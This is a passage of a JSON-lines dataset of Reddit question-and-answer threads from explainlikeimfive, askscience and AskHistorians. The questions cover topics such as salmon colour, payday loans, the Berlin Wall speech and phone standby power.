any kind of refrigeration for the meat; most had dirt floors, many of the people running these placed looked as if they had not bathed for days, not one had any kind of running water to make it possible to even wash your hands before preparing food.  I seriously doubt that there was any kind of government regulation involved.    Which place would you feel safer eating at?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], []]}
{"q_id": "1buswf", "title": "why are syfy original shows pretty good, but syfy movies seem so low budget?", "selftext": "I like the shows on SyFy like Eureka and Warehouse 13, plus a few others. I think they are well written, the actors are good, and the settings and CGI seem pretty good as well. Granted, they aren't perfect, but they are way better than any SyFy original movie I've seen. The movies are corny, have stupid plotlines, horrible actors, disgustingly bad CGI, and just seem so low budget all-around. Anybody know why this is?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1buswf/eli5_why_are_syfy_original_shows_pretty_good_but/", "answers": {"a_id": ["c9ab6ul", "c9abfgy", "c9aciod"], "score": [5, 21, 2], "text": ["TV shows are continuous, ie, more opportunities for commercial revenue.\n\nMovies are kind of a one-shot deal, and on top of that, Syfy is a TV network. While I'm sure it has a great deal of money, I don't think it has the budget of a major movie studio that can afford to eat $100 million on a single movie.", "I've always been convinced the Saturday night Syfy original movies were low budget on purpose. You can't watch \"Octo-Shark vs. Mecha-Alligator\" without knowing exactly what you're getting before it starts.", "Many of the TV shows are produced by NBC/Universal while a lot of the movies are licensed from [The Asylum](_URL_0_) or some other such cheap movie production company...because they're cheap and awesome."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://theasylum.cc/"]]}
{"q_id": "1vouqu", "title": "why does reddit obsess over the jamaican bobsled team?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1vouqu/eli5_why_does_reddit_obsess_over_the_jamaican/", "answers": {"a_id": ["ceud885", "ceudho5", "ceudkkj", "ceuegvx", "ceufkcu", "ceuh9lr", "ceuhd6q", "ceuhjme"], "score": [10, 2, 25, 3, 6, 4, 2, 6], "text": ["Im guessing this _URL_0_", "Because they are inspirational ya dingus.", "The Jamaican bobsled team has a great history. During the early 90s, they were underfunded and undertrained (considering it doesn't snow in Jamaica) yet still managed to beat the Americans and Swiss in the Olympics. It was a feel good story, and, yes, Disney did make a movie loosely based on them.\n\nFast forward to this year. The program lacked funding for a four man bobsled team and barely had enough to run a two man team. That team managed to qualify again for the Olympics but is in danger of not being able to go due to continued money issues.\n\nThey asked for donations to help raise the $80000 needed to get them to Sochi. /r/dogecoin, many other subreddits, and users of other sites have taken it upon themselves to help raise that money.\n\nTldr: Reddit likes underdogs.", "Why would anyone not like the Jamaican bobsled team. It is a cool story with history dating back to the 90's. I would think that any decent human would want to try and help an athlete unable to travel to the olympics due to lack of funding if they could", "Dude it is cool runnings. John candy? Get with the program", "Mon, you must be knowin' dat de Jamaican Bobsled Team is de best in da world mon.", "Some of the '88 team members make appearances at Sangster airport in Montego Bay often enough that I've seen them there a few times.\n\nFeel good story I suppose.", "Because Jamaica hates bati boys as much as Russia?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://imdb.com/rg/an_share/title/title/tt0106611/"], [], [], [], [], [], [], []]}
{"q_id": "3o6in2", "title": "What is that cluster in the milky way?", "selftext": "sorry if this is a dumb question or if I somehow break the rules of the subreddit, i'm kinda new here.\n\nHere is what I am talking about _URL_0_\n\nI think space is beautiful and was browsing through milky way desktop backgrounds, and noticed the cluster that is left and down from the center of the milky way.\nsee above imgur to see what I am talking about\n\nWhat is that cluster?\n\nThanks", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/3o6in2/what_is_that_cluster_in_the_milky_way/", "answers": {"a_id": ["cvujd8g"], "score": [6], "text": ["That looks like a computer generated view, but I do believe it corresponds to the real Large Magellanic Cloud which you can see below the right of center of this real panoramic image:  \n_URL_0_  \n\nThey are not in the Milky Way, but themselves dwarf galaxies bound to the Milky Way via gravitation.\n\nHere's another link with more information about them,  \n_URL_1_  \n\n"]}, "title_urls": [], "selftext_urls": ["http://imgur.com/JXBJ8WO"], "answers_urls": [["http://apod.nasa.gov/apod/ap090926.html", "http://www.astr.ua.edu/gifimages/lmc_smc.html"]]}
{"q_id": "5elnin", "title": "what is happening to us biologically when inspiration strikes?", "selftext": "If there is some sort of chemical or biological reaction in our body that triggers inspiration shouldn't there be a way to develop a medicine that induces inspiration?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5elnin/eli5_what_is_happening_to_us_biologically_when/", "answers": {"a_id": ["dadegrg", "dadjv3w"], "score": [4, 5], "text": ["A certain brainwave is released for a split second on the sides of both the left hemisphere and the right hemisphere of our brains, but only in a tiny spot.\n\nThese brainwaves are called Gamma.\n\nRight now our brainwaves are at alpha or beta; Theta and Delta (even alpha) are associated with sleep and meditation:)", "We know very little about how the brain works (at least on this level), so I think the best answer is that a certain neuron or set of neurons is triggered in a particular manner. Another way to say the same thing is: a certain type of electrical impulse reaches a certain part of the brain. I find it hard to say more than that without guessing. We don't really know which neurons need to be activated in order to produce an inspiration relevant to ______ (insert any topic), or exactly how those neurons should be activated (does it need a single pulse of electrical activity or multiple pulses in a particular pattern? How should the pulses be timed across the population of neurons?)\n\nIt's not clear exactly what causes inspiration to strike at certain times and not others, but it may be more likely to happen if you're well nourished and well rested (both of which may increase the overall activity level of your brain), and have well-established neural pathways (the electrical connections that allow signals to travel through the brain and potentially result in an \"inspiration\") relevant to the task at hand.\n\nSince there's another answer about brain waves, I'll mention that brain waves are just a rough measure of electrical activity in the brain (*rough* because brain waves are typically recorded using electrodes that count all the activity from the 100,000s-millions of neurons that they happen to be on top of), and gamma waves have been found to *correlate* with \"active mental effort\" (a term I made up just now), including but not limited to the \"inspiration\" you've asked about. Brain waves give us lots of useful information about the brain, but at least to me, do not provide a satisfactory answer to \"how does the brain produce inspiration\" or questions of the like."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "6i8mi7", "title": "if japanese people refer to others by their last names what do they do if they're talking to siblings at the same time?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6i8mi7/eli5_if_japanese_people_refer_to_others_by_their/", "answers": {"a_id": ["dj4cdo5", "dj4cpan", "dj4et0k", "dj4ggbd", "dj4hlap"], "score": [22, 3, 2, 5, 6], "text": ["I'm pretty sure the question is how a japanese person would refer to *other people who are siblings*, not how siblings would refer to each other.", "Japanese do not refer to each other by their family names any more often than we do here in the West. They simply have a different name order. They put their family name first, personal name second. They use nicknames just as often as the west, and they also have suffixes that show familiarity. ", "Also, in the military people are normally referred to their last name, so I guess it's the same for over there.\nIf there are two Marlins, you can differentiate them by rank, like Colonel Marlin and Private Marlin.\n\nIn Japanese, the usage of suffixes help a lot, and if there's a confusion, they can always resort to first names and nicknames.", "Well, how would you do it if you were talking to two people with the same name? If you know them well enough, you might have different nicknames for them. In a more formal setting, you use body language -- your posture, gaze, hand gestures, and so on -- to make it clear whom exactly you're addressing.\n\nHowever, think about a normal conversation with more than two people. How often do you actually say anyone's name? Imagine the following conversation:\n\n\"Well, Peter and Susan, it's great to see you again.\"\n\n\"It sure is, Colin. Wouldn't you say, Peter?\"\n\n\"It's been a long time, Colin and Susan. Hey, Susan, am I imagining things, or has Colin lost weight?\"\n\n\"I think you could be right, Peter. Colin, have you been working out?\"\n\n\"Yes, Susan. I've taken up jogging as well.\n\nWe really don't talk like that in real life: names are actually almost never mentioned.", "They call them by their first name. Japanese refer to others by their last name (or surname/family name) just as much as we do. \"Good day Mr. thetree\". Japan culturally might have a bit more respect in the usage than say in the west, but I still call my girlfriend's father by his last name. Yet others the same age I have a closer relationship with I call by their first name. That's the key, how close is the relationship between the two, and it's a very important aspect in japanese culture/communication. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "7ae5e1", "title": "why do raccoons steal/collect/wash things?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/7ae5e1/eli5_why_do_raccoons_stealcollectwash_things/", "answers": {"a_id": ["dp99z8h"], "score": [17], "text": ["The stealing and collecting should be self-evident: They are scavengers and that is how they get their food. Why exactly they wash their food is less obvious. Previously it was thought this was to remove debris but that doesn't check out because they don't wash dirty things like earthworms. Instead it seems they lack ridged texture on their paws and have somewhat poor eyesight, so dunking the object in water will allow them to feel the texture and determine what exactly they have grabbed better than if their paws are dry. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "8hz6ut", "title": "why does the arm get hairy while/after wearing an arm cast?", "selftext": "And ofc other body parts, arm is only the most common.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/8hz6ut/eli5_why_does_the_arm_get_hairy_whileafter/", "answers": {"a_id": ["dyno7hf"], "score": [19], "text": ["While your arm is in a cast it's pretty isolated from the world. There's no friction from brushing up against things like your sleeves to cause hairs to break off. There's also no sunlight lightening your hairs. So that combination gives you thicker and darker hair. It goes back to normal pretty quick after taking off the cast. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1xjnyb", "title": "Will a tumor show up on an x-ray?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1xjnyb/will_a_tumor_show_up_on_an_xray/", "answers": {"a_id": ["cfbyg2n", "cfbzane"], "score": [2, 7], "text": ["it's not a sensitive measure.  if you are talking about general tumors of the gastrointestinal tract, it usually won't see the tumor so much as the changes present in the lumen (inside of the tube) of the stomach, esophagus, or intestines.  tumors will often thicken the wall of the GI tract, and you will see narrowing of the structure on x-ray.  CT scans are much better.  x-rays are particularly good at seeing denser tissues like cardiac muscle and bone.  \n\nshort version, probably not; although a very astute radiologist might get an indication one might be there.  the best way to visualize tumors of the stomach and colon is by putting a scope in...plus they can biopsy them while they are in there to get confirmation.", "In general, no.  For a simple x-ray to *see* a tumor clearly, you need to have a density difference between the tumor and the nearby tissue.  In other words, the tumor needs to either absorb significantly more or less x-rays than the surrounding structures for it to show up.\n\nFor instance, you can often see large lung tumors ([example](_URL_0_)), because tumor is more dense than lung.  Likewise, you can sometimes see where a tumor has degraded bone, because it makes it less dense.  \n\nMammograms are another type of x-ray that can see tumors, although they are a bit more specialized.  Breast tumors often create small high-density spots - so by compressing the breast to a uniform density, and using low-energy x-rays, these little spots can be seen.\n\nCT scans use x-rays to form a 3D picture of the body.  In this case, you can tell the difference between different structures (organs, fat, fluid, blood vessels, etc), and so if you have a good knowledge of what anatomy is supposed to be there, you can identify tumors as a piece of tissue that shouldn't be there."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://mesotheliomacancer1.info/wp-content/uploads/2013/12/lung-cancer-xray.jpg"]]}
{"q_id": "4nlap9", "title": "when you use a coupon at a grocery store what does the grocery store do with that coupon? do they get reimbursed?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4nlap9/eli5_when_you_use_a_coupon_at_a_grocery_store/", "answers": {"a_id": ["d44tr92", "d44tuy5", "d44wsii", "d44zjxv"], "score": [128, 9, 7, 3], "text": ["If it is a coupon from the manufacturer of the product, they collect and send them in, and the manufacturer pays them.  \nLarge companies use coupon clearing houses to process the coupons, so the manufacturer actually pays more than the face value, to reimburse the store and the coupon processor.    \n  \nIn the case of coupons issued by the store (or double-coupon promotions), the store absorbs the cost, just like when they have lower sale prices.", "There are two kinds, the one they do themselves when thing are approaching the expiration date, or for a store event, and the one the manufacturer sends.\n\nFor the ones they do themselves, they just toss it in the trash, the ones from the manufacturer are sent to the manufacturer to get reinbursed.\n\nInterestingly, they get nothing from some \"2 for 1\" coupons, they just pay less themselves to buy the product from the manufacturer. This has led some store to (illegally) remove them, and sell the two products separately.", "Many stores such as CVS send the coupons to an office that estimates the value of the coupons used in one week by weight.\n\nThe store then adds that total to weekly sales a week or two later. \n\nAbout 3 months after that the correct value of the returned coupons is found and that weeks sales is adjusted. ", "At my grocery chain, manufacturer's coupons are collected and mailed off. After processing, we get reimbursed AND we get paid 8 cents a coupon"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "54y9j6", "title": "what did the justice against sponsors of terrorism act actually change?", "selftext": "I found [this thread](_URL_0_) from two years ago that seems to ELI5 that something like this bill was unnecessary. What was wrong about that initial explanation that meant a new bill was needed?\n\nFollow up question: A lot of the bill's supporters are claiming the bill protects the U.S. from any similar suit but couldn't any country just pass a similar law exposing the U.S. to suits from their justice system? The bill prevents the U.S. from getting sued in its own courts but doesn't seem to protect from another country doing the same thing. \n\n[Bill full text](_URL_1_)", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/54y9j6/eli5_what_did_the_justice_against_sponsors_of/", "answers": {"a_id": ["d861lgv"], "score": [3], "text": ["There is a lot of things to look at here and this is very complicated law. International litigation law is among the most complex. So my answers are extreme simplifications.\n\nIn the past there were laws in place preventing US citizens from suing foreign governments. There were exceptions to these restrictions, but it was all pretty murky as for what was allowed and what was not. Courts ruled on it a few times with different results. In short there were different opinions on what the law was and what people were allowed to do.\n\nJATA was passed to clarify what was and was not allowed legally. The big reason for this are there are US citizens that want to sue Saudi Arabia because of the 9/11 attacks. Prior to this law they could not do that, now the can. Because of JATA people that want to sue Saudi Arabia (or other countries) for their terrorist actions can.\n\n >  but couldn't any country just pass a similar law exposing the U.S. to suits from their justice system?\n\nYou are absolutely correct. It does nothing to prevent a country from passing its own laws allowing its citizens to sue the US in that countries courts. But there is nothing the US can do to prevent that. There is no law the US could pass that would protect it from this. \n\nAlthough to be clear just because the US cannot stop another country from doing it, they do not have to listen to the results of that country's courts. As an example Malaysia  convicted George Bush, Dick Cheney, and Donald Rumsfeld of war crimes. Did this conviction mean anything? No of course not. The US just ignore it."]}, "title_urls": [], "selftext_urls": ["https://www.reddit.com/r/explainlikeimfive/comments/1te3j9/eli5how_can_the_911_families_sue_saudi_arabia/", "https://www.congress.gov/bill/114th-congress/senate-bill/2040/text/is"], "answers_urls": [[]]}
{"q_id": "falu1y", "title": "why does your tongue \u201crest\u201d on the roof of your mouth? shouldn\u2019t it be more work for your tongue muscles to hold it up than to just let it fall?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/falu1y/eli5_why_does_your_tongue_rest_on_the_roof_of/", "answers": {"a_id": ["fiyy0jw"], "score": [147], "text": ["Copied from an answer 2 years ago.\n\nGlottal blocking so that nose breathing is easier. If your tongue rested without touching the roof of your mouth it would not seal your mouth and it could allow air to be pulled in between your lips, or saliva to be inhaled. \n\nTry this little experiment. Open your mouth and don't allow your tongue to touch the roof of your mouth or close your throat. What I mean is with our mouth open if we make a \"guh\" shape with our tongue like saying the letter G (which seals our glotis) most people (some say they can. Who am I to argue lol) will be unable to breath in through their nose at all. This is because there is less resistance inhaling through the mouth. If you start closing your mouth or allow your lips to come together a little to create more restriction, then it will start to come in through the nose more. But wide open mouth and wide open tongue/throat you cannot breath in through your nose. \n\nThe usual resting position of the tongue is low in the back and curving slightly at the tip lightly touching the back of the hard palate in the roof of your mouth just behind the front teeth (usually not touching the front teeth at all) Although people of different native languages sometimes have slightly different resting positions for the tongue depending on the sounds they use with the tongue more forward or more back in the mouth. This may affect a comfortable resting position that is not always the same in different people."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "5tm6ba", "title": "Is there consensus on how Herman G\u00f6ring obtained the cyanide capsule prior to his execution? Did any of the guards hold sympathy for the prisoners and gave it to him?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/5tm6ba/is_there_consensus_on_how_herman_g\u00f6ring_obtained/", "answers": {"a_id": ["ddnuysr"], "score": [128], "text": ["Source: Joseph E. Persicoe's 'Nuremburg: Infamy on Trial' \n\nThe idea that Goering was given the cyanide by one of his guards is regarded as the most likely case of affairs. Firstly, Goering's ability to interact with anyone other than the guards was strictly regulated so the guards supplying the drug is the most likely means of him having acquired it. Secondly, its widely ackowledged that Goering was someone who was very easy to get on with and is described as charming by many of the opeople who met him. He was especially able to build relationships with the soldiers because he himself had been a member of the military when he was younger. It's therefore believed by many, and Persicoe's book - as well as telling it as a narrative, the book goes into a detailed discussion of the history and the means by which Persicoe has come to write his book - argues this case, that Goering built up a strong relationship during his incarceration with one of the guards who frequently was stationed with him and that this guard provided the cyanide he used to kill himself rather than be executed by the Allied court. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "w4t25", "title": "Are cell phones constantly checking for incoming calls, or is there a more clever, battery-saving trick?", "selftext": "I just feel like that would drain the battery non-stop and I can't think of a better solution for this. ", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/w4t25/are_cell_phones_constantly_checking_for_incoming/", "answers": {"a_id": ["c5a8fb9", "c5af2in"], "score": [33, 2], "text": ["The receiver is always on.  It receives data on a low-data-rate channel that doesn't take much power to run, and listens for a code that indicates the cell phone tower wants to talk to it - and also listens for the relative strength of signals coming from all nearby towers, so that it knows when to switch towers.  It also wakes up periodically and \"pings\" the cell phone tower nearby, and/or tells the network it wants to switch towers.\n\nThe trick is to operate the phone's radio receiver in a low-power standby mode most of the time, and switch it on to full power only when a certain signal is received from the tower. \n\nIncidentally, with TDMA phones (Time ~~Domain~~Division Multiple Access) you can hear when the phone is talking because each fraction of a second is sliced up into something like eight timeslices, during only one of which your phone is allowed to talk, and the timeslices have an audio timescale -- so electrical interference from a TDMA phone (into, say, a stereo or a set of headphones) has a characteristic buzzing sound.", "To add on to OP's question, does Push work similarly to calls from a network perspective? I assume it would be quite inefficient to constantly be checking for new emails every second. Anyone know how that works -- is it data only or is there a cellphone network component?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "1jjk1t", "title": "Why is wild salmon a deeper red than farmed salmon, which is pinker?", "selftext": "I always wonder this when I'm looking at raw salmon in markets, and I'd love to find an answer. ", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1jjk1t/why_is_wild_salmon_a_deeper_red_than_farmed/", "answers": {"a_id": ["cbfcfer", "cbfcgig", "cbfese2", "cbfg6cl", "cbfi5nr", "cbfk64x", "cbg3xr4", "cbg6wcl"], "score": [67, 10, 3, 9, 4, 5, 2, 2], "text": ["The color of salmon flesh come from carotenoids in their feed. The natural diet is rich in crustaceans, which naturally contain lot of carotenoids. Farmed salmon does not eat crustaceans, so to get the color, coloring is added to the feed. The coloring is also carotenoids, and can be chemically identical to the main natural color.\n\nThe color of farmed salmon can be adjusted somewhat by changing the amount of coloring added to the feed, according to consumer preference. However, it can be hard to get as much color in the flesh as e.g. the wild American sockeye salmon has. This might be the reason for the difference in colors.\n\nSource: _URL_0_", "Wild Salmon gets its color because they are uniquely able to store carotenes in there flesh.  The specific carotene that causes the color is called astaxanthin and it is found in the organisms that salmon eat such as krill.  Farm raised salmon are fed synthetic astaxanthin and a similar carotene called canthaxanthin so that their color will be more similar to wild salmon.  As for why its pinker I would assume it is just a result of different ratios of the carotenes, but I'm not certain.\n\n[source](_URL_0_)", "I actually know this one!! The color of the filet is directly related to their diet; with wild salmon having a more rich diet in shellfish.", "The above commenters are correct that diet is the primary factor, but also make sure that you're comparing the same species of salmon.  The flesh of sockeye (red) salmon is more reddish than the flesh of pink salmon, and king salmon are more orange-ish.\n\nIn fact, \"salmon\" is an official color, and the article has a source about artificial coloring in salmon feed: [Salmon\\(color\\)](_URL_0_) ", "They also put food coloring sometimes on farmed salmon to approximate the look of the wild salmon, which is typically more expensive.", "I agree with the diet aspect to a certain degree.   Great Lakes salmon eat no crustaceans (besides some mysis shrimp when they are very young) and their flesh is plenty red.   However, sockeye salmon which are not in the great lakes are super red compared to chinook and coho.  Source: cleaned about 40 pounds of chinook and coho salmon this morning.  ", "Off topic, but since when did we have a \"Food\" tag?", "I have heard before that farmed salmon are more fatty, since they get virtually no exercise, and the fat contributes to them looking more pink/white."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.bellona.org/aquaculture/artikler/Dyes_in_salmon"], ["http://seafoodhealthfacts.org/seafoodqa/14.php"], [], ["https://en.wikipedia.org/wiki/Salmon_%28color%29"], [], [], [], []]}
{"q_id": "2syf4f", "title": "if most citizens of a nation don't really understand economics, geopolitics, or even most of history, why does democracy give the masses the ability to decide the future of the nation when most them don't really know how things work?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2syf4f/eli5if_most_citizens_of_a_nation_dont_really/", "answers": {"a_id": ["cnu03ln", "cnu06ia", "cnuh1sg"], "score": [12, 27, 2], "text": ["On the other hand where are you going to draw the line?\n\nDo you need some sort of certification in economics, politics or history to be able to vote?\n\nDo you need some sort of certification in economics, politics **and** history to be able to vote?\n\n\nDemocracies over the last few centuries have discovered that letting \"everyone\" vote works well enough.\n\n\n", "Most \"democracies\", especially the US, are actually Republics, which elect representatives that then decide on policy for economics or politics. \n\nIn a true democracy, every single individual would vote on every issue, which as you get even a modest sized society becomes unfeasible. Just look at how poor voter turnout is for Presidential elections, then imagine needing to get more people than that for each policy change.", "It's not very hard to say that people should be educated and/or experienced and/or wise in order to have the ability to vote. I'd think a good chunk of people would agree with that, frankly.  Hell, *I'd* agree with it to some extent.\n\nNow the question becomes \"How do decide who meets that criteria?\"  Right there the problem starts.  Get a room of 20 people together and you'll get 20 different opinions on criteria.  So the push will kinda fall apart there, but let's assume we got 20 people together that were pretty like-minded, that agreed that whatever system got 10 votes would be implemented, then had a run-off, and we had a system to decide who did what.\n\nNow the next question is \"How can we assure that those with the power to vote don't rig it so the only people that can qualify are the the ones they want?\"  If the push didn't fall apart in the last paragraph (and it would), it would fall apart in this one.\n\nThe system where everyone can vote works okay because it's not a direct democracy. They vote for someone to make decisions for them, they don't vote to implement decisions.  Most halfway intelligent people can figure things out as they go when given that responsibility."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "29zlr8", "title": "Do viruses ever combine their genes, similar to sexual reproduction?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/29zlr8/do_viruses_ever_combine_their_genes_similar_to/", "answers": {"a_id": ["ciq42jr"], "score": [63], "text": ["It's called [\"antigenic shift\"](_URL_0_), and influenza is notorious for this.  In the case of influenza, the virus has 8 strings of RNA, each of which codes one or more proteins.  When the virus reproduces, multiple copies of all of these RNA strings are packaged into fresh virions and extruded from the host cell.  If more than one strain of influenza simultaneously infects the same host cell, the virions that bud off are likely to include a mix of some RNA strands from each of the parent strains of influenza.  This allows a random reassortment of genes in a manner very similar to sexual reproduction, and gives the virus a tremendous ability to change and adapt.  This is a big part of the reason that influenza is such a difficult disease for the medical system to control."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Antigenic_shift"]]}
{"q_id": "3y3kz5", "title": "why that tv clip is not available in my country", "selftext": "Seriously. Why does SNL or the daily show not want to show me their stuff or advertize to me. I can understand them not actively seeking to advertize since I'm not in America, but why do they *actively* block videos outside the US?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3y3kz5/eli5_why_that_tv_clip_is_not_available_in_my/", "answers": {"a_id": ["cya6l6e"], "score": [11], "text": ["Because TV shows are licensed for use on a country by country basis. If some network in your country has paid for the right to air SNL there, they'd get pretty upset if someone could watch it for free somewhere else."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "85mykv", "title": "How many light years across is the sun\u2019s magnetic field?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/85mykv/how_many_light_years_across_is_the_suns_magnetic/", "answers": {"a_id": ["dvyuyly", "dvz1pga"], "score": [45, 3], "text": ["So technically the range is infinite, but I imagine that's not what you're going for.\n\nGenerally, we place the 'edge' of the field at the Heliopause. This is the distance at which the solar wind from our Star is not strong enough to repel the solar wind from all the other stars.\n\nThe Heliopause has a radius of about 17 light hours", "The sun (and all the planets/dwarf planets, asteroids, comets etc. as well) is travelling through the interstellar space. In this interstellar space there is a constant stream of particles (by Earth standards it is a perfect vacuum, but it is not completely empty). Furthermore there is also an interstellar magnetic field permeating all of the interstellar space. The sun constantly releases a stream of charged particles, the solar wind, which carry the suns magnetic field with them. The fact that the charged particles carry the magnetic field is called \"the frozen in condition\".  \nAt approximately 70-90AU distance the particles from the sun start to slow down. Voyager 1 reached this region at 94AU and Voyager 2 at 74AU. This is region is called the termination shock. \nThe solar wind is compressed and slowed down in the heliosheath until approximately 120AU is reached where the heliopause lies and where the interstellar medium begins (only voyager 1 has reached this point so far). The reason why the solar wind is slowed down is due to the pressure from the interstellar medium. The important parameters to calculate the pressure balance between the interstellar medium and the solar wind are:  \n*magnetic pressure (magnetic field strength)  \n*thermal pressure (temperature of the plasmas)  \n*dynamic pressure (velocity/density)  \nAt the heliopause these three terms are in balance with each other. Since the solar magnetic field is carried by the solar wind, which is stopped between the termination shock and the heliopause this also means that the solar magnetic field does not have any influence beyond this point.  \nIt was thought for a long time that the shape of the heliosphere would be similar to Earths bubble in the solar wind, with a long tail in the opposite direction of the movement relative to the interstellar medium. However recent models/observations show that the heliosphere is roughly spherical.  \nsources:  \n_URL_2_  \n_URL_1_  \n_URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://www.nature.com/articles/s41550-017-0115", "https://www.nasa.gov/feature/goddard/2017/nasa-s-cassini-voyager-missions-suggest-new-picture-of-sun-s-interaction-with-galaxy", "https://en.wikipedia.org/wiki/Heliosphere"]]}
{"q_id": "192kp5", "title": "Importance of Regan's \"Tear down this wall!\" Speech to the fall of the Berlin Wall  ", "selftext": "Was there any kind of greater meaning behind the speech as well? ", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/192kp5/importance_of_regans_tear_down_this_wall_speech/", "answers": {"a_id": ["c8kafvf"], "score": [4], "text": ["Absolutely diddley squat. It may even have hardened resistance to reform. But it was a great line.\n\nThe speech was in 1987. The wall came down in 1989, two and a half years later. \n\nThe wall really started falling in 1980, with Solidarnosc and the Gdansk shipyard strike in Poland. The spiritual encouragement for that is traceable to the College of Cardinals' choice of a young Pope from Poland, and the political activism he engaged in there in the form of religion. All it takes for a repressive regime to be overthrown is for the people to stop being afraid, and over the next several years it became clear that the regimes lacked the power to prevent it.\n\nBy the time Reagan gave his famous speech, the writing was already on the wall (pun intended).\n\nThere's a lot of nonsense out there about Reagan personally ending the Soviet Union, by causing them to overspend through an arms chickenrace. But this simply flies in the face of facts. Military spending in the Soviet Union levelled off in 1975 to a growth rate of 1.3 percent per year, and remained that way until 1985, when it increased to a not exactly stunning 3%, and even that in in line with pre-scheduled procurements, not any new initiative to combat U.S. increases. Their military spending didn't even rise at all in response to Afghanistan. As far as missles, the Soviets were able to keep pace with us without any spending increases at all. There was no counter initiative to SDI.\n\nWhat killed the Soviet Union, in the end, was the economy. The effort to create an industrial monster had failed miserably,  because the system had no real way to capitalize on successes and so ended up pouring the money into wasteful projects that tied up energy and capital on nothing in particular. \n\nBut even with an unspectacular economy, there's no question that they could have kept it up for several more decades. What sped up the process was Gorbachev's reforms and the demoralising breaking away of the client states. A speech by a president for whom Easter Europeans had no particular fondness.\n\nThat's not saying Reagan didn't play a part, of course, just that the speech wasn't important. What Reagan did well was supporting Gorbachev's reforms and working with him to give him breathing room instead of going for the throat, which would could have forced the hardliner coup that eventually arrived in 1991 to come earlier. In other words, by not being the hard-ass today's conservatives make him out to be. But it wasn't a major role."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "9tf11c", "title": "what is a payday loan and why are they such scams?", "selftext": "Just very confused about it. What's APR? Why do \"loan sharks\" close down businesses? Who do people just collectively hate payday loans?\n\nI really just don't get it, lol. If someone can explain this really simply to me I'd very much appreciate it.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9tf11c/eli5_what_is_a_payday_loan_and_why_are_they_such/", "answers": {"a_id": ["e8vsixp", "e8vslww", "e8vsuw2", "e8vu16p", "e8vufs9"], "score": [3, 2, 8, 6, 2], "text": ["A payday loan is a loan they will give you that you don't have to have good credit for. They usually have you bring in pay stubs and maybe bank statements and give you a loan up to a couple of hundred dollars. The reason people hate them is because they charge huge amounts of Interest. Say if you borrow $500 you probably have to pay around $600 or so by the time you pay it back in a few months. APR means annual percentage rate it is the percentage of the loan. I don't know your other questions", "A payday loan is new-age italian interest. You'll get a loan and the terms will dictate repayment, most of them have around a 300-400% interest rate and cost you $100 just to receive the loan.\n\nBottom line, they're a scam and you should never, ever use them. No matter what. ", "the APR is a calculation that if you took the loan out for a whole year without paying off any of the debt how much would you have to pay in interest so an APR of 1000% on a loan of $1 means that you would have to pay $10 in interest if you only paid the loan off at the end of the year. Pay day loans have exceedingly high interest rates because they are only meant to be loans for a day or two, but the people who take them out tend to be people with very low incomes and end up with loans for extended periods at very high rates. For more on APR - _URL_0_", "Payday Loans are a form of legal loan sharking\n\nThey prey on people with bad credit requiring as little as proof of employment to qualify for one\n\nThe term payday loan is used because the length of the loan is only a few weeks to a month, the intention is to loan you money as if it was an advance on your paycheque.\n\nThe reason they are predatory is because they have very high interest rates. People who take out payday loans often end up being unable to pay the loans back having to extend the loans or take out additional loans to make ends meet, all the while paying crazy high interest rates. By their very nature people who take payday loans are often already heavily in debt or don't have any credit to begin with.\n\nThe unofficial motto of one such company I used to work for was 'Forever in debt' to give you an 